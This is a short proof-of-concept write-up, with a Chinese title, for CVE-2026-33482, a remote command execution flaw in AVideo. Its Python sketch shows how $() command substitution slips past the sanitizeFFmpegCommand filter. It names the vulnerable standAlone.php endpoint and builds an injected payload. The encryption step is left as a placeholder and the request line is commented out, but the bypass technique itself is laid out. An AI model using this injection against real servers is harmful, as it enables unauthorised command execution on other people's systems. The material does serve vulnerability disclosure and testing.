CVE-2026-33482 AVideo远程命令执行漏洞

# PoC Concept for CVE-2026-33482 # This demonstrates how to bypass the sanitizeFFmpegCommand filter. # The application strips characters like ; | && but misses $(). import requests target_url = "http://target-site/plugin/API/standAlone.php" # The payload injects a command using $() syntax. # Example: Creating a file named 'pwned' to prove execution. # Note: The actual parameter name and encryption method depend on the app config. malicious_cmd = "$(touch /tmp/pwned)" # Assume 'videoUrl' or similar parameter is passed to ffmpeg # The payload would be: "normal_input $(touch /tmp/pwned)" payload = f"input.mp4 {malicious_cmd}" # In a real exploit, this payload would need to be encrypted # as expected by the AVideo standalone encoder API. data = { "encryptedPayload": "<encrypted_representation_of_payload>" } # response = requests.post(target_url, data=data) # print("Check /tmp/pwned on the server to verify RCE")
